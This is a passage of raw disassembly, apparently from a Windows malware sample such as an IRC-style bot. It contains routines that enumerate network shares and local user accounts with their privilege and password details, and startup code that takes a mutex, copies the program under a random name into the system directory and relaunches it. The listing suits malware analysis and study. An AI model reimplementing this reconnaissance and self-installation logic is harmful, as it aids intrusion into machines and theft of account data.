mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_40E22D
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40E22D: ; CODE XREF: sub_40E220+9j
push ebx
push esi
mov esi, dword_421074
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_418F5C
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_40E220 endp
; =============== S U B R O U T I N E =======================================
sub_40E261 proc near ; CODE XREF: sub_40E08F+20p
; sub_416561+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40E220
push [esp+8+arg_4]
mov esi, eax
call sub_40E220
pop ecx
pop ecx
push 0
push eax
push esi
call dword_441290
pop esi
retn
sub_40E261 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E284 proc near ; CODE XREF: sub_40F6F1+222Bp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_40E220
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 18h
loc_40E2BD: ; CODE XREF: sub_40E284+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_441304
mov ebx, eax
cmp ebx, esi
jz short loc_40E320
cmp ebx, 0EAh
jz short loc_40E320
push ebx
push ebx
call sub_40EA39
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_42E618
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 24h
jmp short loc_40E38D
; ---------------------------------------------------------------------------
loc_40E320: ; CODE XREF: sub_40E284+5Dj
; sub_40E284+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_40E384
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_40E32E: ; CODE XREF: sub_40E284+FCj
push dword ptr [esi+10h]
call dword_4412AC ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_40E345
mov eax, offset aNo ; "No"
loc_40E345: ; CODE XREF: sub_40E284+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_40E32E
xor esi, esi
loc_40E384: ; CODE XREF: sub_40E284+A2j
push [ebp+var_4]
call dword_441448
loc_40E38D: ; CODE XREF: sub_40E284+9Aj
cmp ebx, 0EAh
jz loc_40E2BD
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40E284 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3A5 proc near ; CODE XREF: sub_40F6F1:loc_411992p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_40E449
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_40E3E7
dec eax
jz short loc_40E3DC
dec eax
jnz short loc_40E402
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_40E4EB
add esp, 14h
jmp short loc_40E3FE
; ---------------------------------------------------------------------------
loc_40E3DC: ; CODE XREF: sub_40E3A5+1Dj
push ebx
push edi
call sub_40E4CA
pop ecx
pop ecx
jmp short loc_40E3FE
; ---------------------------------------------------------------------------
loc_40E3E7: ; CODE XREF: sub_40E3A5+1Aj
cmp [ebp+arg_8], edi
jz short loc_40E3FB
push [ebp+arg_8]
push ebx
push edi
call sub_40E470
add esp, 0Ch
jmp short loc_40E3FE
; ---------------------------------------------------------------------------
loc_40E3FB: ; CODE XREF: sub_40E3A5+45j
push 57h
pop eax
loc_40E3FE: ; CODE XREF: sub_40E3A5+35j
; sub_40E3A5+40j ...
cmp eax, edi
jnz short loc_40E422
loc_40E402: ; CODE XREF: sub_40E3A5+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_445C8C
push off_42DEB4[eax*4]
push offset unk_42E700
push esi
call sub_4173AC
add esp, 10h
jmp short loc_40E469
; ---------------------------------------------------------------------------
loc_40E422: ; CODE XREF: sub_40E3A5+5Bj
push eax
call sub_40EA39
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_445C8C
push off_42DEB0[eax*4]
push offset unk_42E6C0
push esi
call sub_4173AC
add esp, 18h
jmp short loc_40E469
; ---------------------------------------------------------------------------
loc_40E449: ; CODE XREF: sub_40E3A5+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_445C8C
lea eax, [eax+eax*2]
push off_42DEB0[eax*4]
push offset unk_42E688
push esi
call sub_4173AC
add esp, 0Ch
loc_40E469: ; CODE XREF: sub_40E3A5+7Bj
; sub_40E3A5+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40E3A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E470 proc near ; CODE XREF: sub_40E3A5+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_40E220
push [ebp+arg_4]
mov edi, eax
call sub_40E220
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_40E220
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_44129C
pop edi
leave
retn
sub_40E470 endp
; =============== S U B R O U T I N E =======================================
sub_40E4CA proc near ; CODE XREF: sub_40E3A5+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40E220
push [esp+8+arg_4]
mov esi, eax
call sub_40E220
pop ecx
pop ecx
push eax
push esi
call dword_44128C
pop esi
retn
sub_40E4CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E4EB proc near ; CODE XREF: sub_40E3A5+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_40E220
push [ebp+arg_4]
mov esi, eax
call sub_40E220
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_441410
test eax, eax
mov [ebp+arg_0], eax
jnz loc_40E878
mov eax, [ebp+var_4]
test eax, eax
jz loc_40E8B3
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_4173AC
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_40E604
dec eax
jz short loc_40E5FD
dec eax
jz short loc_40E5F6
mov eax, offset aUnknown ; "Unknown"
jmp short loc_40E609
; ---------------------------------------------------------------------------
loc_40E5F6: ; CODE XREF: sub_40E4EB+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_40E609
; ---------------------------------------------------------------------------
loc_40E5FD: ; CODE XREF: sub_40E4EB+FFj
mov eax, offset aUser_0 ; "User"
jmp short loc_40E609
; ---------------------------------------------------------------------------
loc_40E604: ; CODE XREF: sub_40E4EB+FCj
mov eax, offset aGuest ; "Guest"
loc_40E609: ; CODE XREF: sub_40E4EB+109j
; sub_40E4EB+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40DC10
add esp, 20h
pop edi
pop ebx
jmp short loc_40E8A4
; ---------------------------------------------------------------------------
loc_40E878: ; CODE XREF: sub_40E4EB+35j
push eax
lea eax, [ebp+var_204]
push offset unk_42E730
push eax
call sub_4173AC
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40DC10
add esp, 20h
loc_40E8A4: ; CODE XREF: sub_40E4EB+38Bj
cmp [ebp+var_4], 0
jz short loc_40E8B3
push [ebp+var_4]
call dword_441448
loc_40E8B3: ; CODE XREF: sub_40E4EB+40j
; sub_40E4EB+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_40E4EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E8B9 proc near ; CODE XREF: sub_40F6F1+22CDp
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_40E220
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 18h
loc_40E8F8: ; CODE XREF: sub_40E8B9+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_441320
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_40E959
cmp eax, 0EAh
jz short loc_40E959
push eax
push eax
call sub_40EA39
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_42E944
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 24h
jmp short loc_40E9D4
; ---------------------------------------------------------------------------
loc_40E959: ; CODE XREF: sub_40E8B9+62j
; sub_40E8B9+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_40E9E7
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_40E9D4
loc_40E96B: ; CODE XREF: sub_40E8B9+EDj
cmp edi, esi
jz short loc_40E9AA
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_4173AC
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_40E96B
jmp short loc_40E9D4
; ---------------------------------------------------------------------------
loc_40E9AA: ; CODE XREF: sub_40E8B9+B4j
lea eax, [ebp+var_218]
push offset unk_42E8FC
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 1Ch
loc_40E9D4: ; CODE XREF: sub_40E8B9+9Ej
; sub_40E8B9+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_40E9E7
push edi
call dword_441448
xor edi, edi
mov [ebp+var_4], edi
loc_40E9E7: ; CODE XREF: sub_40E8B9+A5j
; sub_40E8B9+120j
cmp [ebp+var_C], 0EAh
jz loc_40E8F8
cmp edi, esi
jz short loc_40E9FF
push edi
call dword_441448
loc_40E9FF: ; CODE XREF: sub_40E8B9+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40E8B9 endp
; =============== S U B R O U T I N E =======================================
sub_40EA39 proc near ; CODE XREF: sub_40E08F+41p
; sub_40E284+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_40EAEB
jz loc_40EAE4
cmp eax, 7Bh
ja short loc_40EAB0
jz short loc_40EAA6
cmp eax, 5
jz short loc_40EA9C
cmp eax, 8
jz short loc_40EA92
cmp eax, 32h
jz short loc_40EA88
cmp eax, 35h
jz short loc_40EA7E
cmp eax, 57h
jnz loc_40EB3A
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EA7E: ; CODE XREF: sub_40EA39+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EA88: ; CODE XREF: sub_40EA39+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EA92: ; CODE XREF: sub_40EA39+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EA9C: ; CODE XREF: sub_40EA39+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EAA6: ; CODE XREF: sub_40EA39+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EAB0: ; CODE XREF: sub_40EA39+1Aj
sub eax, 7Ch
jz short loc_40EADD
sub eax, 7C8h
jz short loc_40EAD6
dec eax
jz short loc_40EACC
dec eax
jnz short loc_40EB3A
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EACC: ; CODE XREF: sub_40EA39+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EAD6: ; CODE XREF: sub_40EA39+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EADD: ; CODE XREF: sub_40EA39+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EAE4: ; CODE XREF: sub_40EA39+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EAEB: ; CODE XREF: sub_40EA39+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_40EB24
jz short loc_40EB1D
sub eax, 8ADh
jz short loc_40EB4F
dec eax
dec eax
jz short loc_40EB16
dec eax
jz short loc_40EB0F
dec eax
dec eax
jnz short loc_40EB3A
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB0F: ; CODE XREF: sub_40EA39+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB16: ; CODE XREF: sub_40EA39+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB1D: ; CODE XREF: sub_40EA39+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB24: ; CODE XREF: sub_40EA39+B9j
sub eax, 8CAh
jz short loc_40EB56
sub eax, 17h
jz short loc_40EB4F
sub eax, 25h
jz short loc_40EB48
sub eax, 29h
jz short loc_40EB41
loc_40EB3A: ; CODE XREF: sub_40EA39+35j
; sub_40EA39+87j ...
push offset aAnUnknownError ; "An unknown error occurred."
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB41: ; CODE XREF: sub_40EA39+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB48: ; CODE XREF: sub_40EA39+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB4F: ; CODE XREF: sub_40EA39+C2j
; sub_40EA39+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_40EB5B
; ---------------------------------------------------------------------------
loc_40EB56: ; CODE XREF: sub_40EA39+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_40EB5B: ; CODE XREF: sub_40EA39+40j
; sub_40EA39+4Aj ...
push offset dword_445A2C
call sub_4173AC
pop ecx
mov eax, offset dword_445A2C
pop ecx
retn
sub_40EA39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB6D proc near ; CODE XREF: sub_40F6F1+230Cp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_417CAE
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 7C8216A4h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_417CAE
lea eax, [ebp+var_718]
push eax
call sub_417C91
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4413C8
test eax, eax
jnz short loc_40EBFD
mov esi, offset dword_445828
push offset unk_42EC9C
push esi
call sub_4173AC
pop ecx
pop ecx
jmp short loc_40EC26
; ---------------------------------------------------------------------------
loc_40EBFD: ; CODE XREF: sub_40EB6D+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_40EA39
pop ecx
mov esi, offset dword_445828
push eax
push offset unk_42EC60
push esi
call sub_4173AC
add esp, 14h
loc_40EC26: ; CODE XREF: sub_40EB6D+8Ej
mov eax, esi
pop esi
leave
retn
sub_40EB6D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0A90h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-10h], ebx
mov dword ptr [ebp-0Ch], offset sub_40D93C
push dword ptr [ebp-0Ch]
push large dword ptr fs:0
mov large fs:0, esp
cmp dword_42ED68, ebx
jz short loc_40EC64
call sub_40AD3F
loc_40EC64: ; CODE XREF: ___:0040EC5Dj
mov esi, dword_421064
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_5154C0, eax
call esi ; GetTickCount
push eax
call sub_4173FE
pop ecx
call sub_409794
push 2
call dword_441464 ; SetErrorMode
push 7530h
push offset aArra ; "arra"
push ebx
push ebx
nop
call near ptr 7C80E93Fh
push eax
nop
call near ptr 7C802520h
cmp eax, 102h
jnz short loc_40ECB8
push 1
nop
call near ptr 7C81CDDAh
loc_40ECB8: ; CODE XREF: ___:0040ECAEj
lea eax, [ebp-98Ch]
push eax
push 202h
call dword_441330 ; WSAStartup
cmp eax, ebx
mov [ebp-0Ch], eax
jnz loc_40F31D
cmp byte ptr [ebp-98Ch], 2
jnz loc_40F317
xor eax, eax
mov al, [ebp-98Bh]
cmp al, 2
jnz loc_40F317
mov esi, 104h
lea eax, [ebp-3F4h]
push esi
push eax
nop
call near ptr 7C814EEAh
lea eax, [ebp-2F0h]
push esi
push eax
push ebx
nop
call near ptr 7C80B6A1h
push eax
nop
call near ptr 7C80B4CFh
lea eax, [ebp-6FCh]
push eax
lea eax, [ebp-7FCh]
push eax
push ebx
lea eax, [ebp-2F0h]
push ebx
push eax
call sub_418AA8
lea eax, [ebp-6FCh]
push eax
lea eax, [ebp-7FCh]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp-4F8h]
push esi
push eax
call sub_41792A
lea eax, [ebp-3F4h]
push eax
lea eax, [ebp-2F0h]
push eax
call sub_417980
add esp, 30h
mov esi, offset byte_42EDC4
test eax, eax
jnz loc_40EF33
cmp dword_515630, ebx
jz short loc_40EDB3
push esi
xor edi, edi
call sub_417AF0
sub eax, 4
pop ecx
jz short loc_40EDB3
loc_40ED90: ; CODE XREF: ___:0040EDB1j
call sub_417408
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42EDC4[edi], dl
inc edi
call sub_417AF0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40ED90
loc_40EDB3: ; CODE XREF: ___:0040ED80j
; ___:0040ED8Ej
lea eax, [ebp-3F4h]
push esi
push eax
lea eax, [ebp-1ECh]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4173AC
add esp, 10h
lea eax, [ebp-1ECh]
push eax
nop
call near ptr 7C81153Ch
cmp eax, 0FFFFFFFFh
jz short loc_40EDF3
lea eax, [ebp-1ECh]
push 80h
push eax
nop
call near ptr 7C812782h
loc_40EDF3: ; CODE XREF: ___:0040EDDFj
mov edi, dword_421130
lea eax, [ebp-1ECh]
push ebx
push eax
lea eax, [ebp-2F0h]
mov [ebp-4], ebx
push eax
loc_40EE0B: ; CODE XREF: ___:0040EE47j
call edi ; CopyFileA
test eax, eax
jnz short loc_40EE49
nop
call near ptr 7C910331h
cmp [ebp-4], ebx
jnz short loc_40EE49
cmp eax, 20h
jz short loc_40EE26
cmp eax, 5
jnz short loc_40EE49
loc_40EE26: ; CODE XREF: ___:0040EE1Fj
push 3A98h
mov dword ptr [ebp-4], 1
nop
call near ptr 7C802442h
lea eax, [ebp-1ECh]
push ebx
push eax
lea eax, [ebp-2F0h]
push eax
jmp short loc_40EE0B
; ---------------------------------------------------------------------------
loc_40EE49: ; CODE XREF: ___:0040EE0Fj
; ___:0040EE1Aj ...
lea eax, [ebp-1ECh]
push eax
call sub_40AAF1
pop ecx
lea eax, [ebp-1ECh]
push 7
push eax
nop
call near ptr 7C812782h
push 10h
lea eax, [ebp-24h]
push ebx
push eax
call sub_417430
push 44h
lea eax, [ebp-0E8h]
pop edi
push edi
push ebx
push eax
call sub_417430
add esp, 18h
mov [ebp-0E8h], edi
mov dword ptr [ebp-0DCh], offset byte_43C63C
mov [ebp-0B8h], bx
push 1
pop edi
mov [ebp-0BCh], edi
nop
call near ptr 7C809920h
push eax
push edi
push 100000h
nop
call near ptr 7C8309E1h
lea ecx, [ebp-2F0h]
push ecx
push eax
lea eax, [ebp-1ECh]
push eax
lea eax, [ebp-0A90h]
push offset aSDS ; "%s %d \"%s\""
push eax
call sub_4173AC
add esp, 14h
lea eax, [ebp-24h]
push eax
lea eax, [ebp-0E8h]
push eax
lea eax, [ebp-3F4h]
push eax
push ebx
push 28h
push edi
push ebx
lea eax, [ebp-0A90h]
push ebx
push eax
lea eax, [ebp-1ECh]
push eax
nop
call near ptr 7C802367h
test eax, eax
jz short loc_40EF36
push 0C8h
nop
call near ptr 7C802442h
push dword ptr [ebp-24h]
mov esi, dword_42107C
call esi ; CloseHandle
push dword ptr [ebp-20h]
call esi ; CloseHandle
call dword_441318 ; WSACleanup
push ebx
nop
call near ptr 7C81CDDAh
loc_40EF33: ; CODE XREF: ___:0040ED74j
push 1
pop edi
loc_40EF36: ; CODE XREF: ___:0040EF09j
cmp dword_5158A0, 2
jle short loc_40EF85
mov eax, dword_5158A4
push dword ptr [eax+4]
call sub_41791F
pop ecx
mov [ebp-4], eax
push 0FFFFFFFFh
push eax
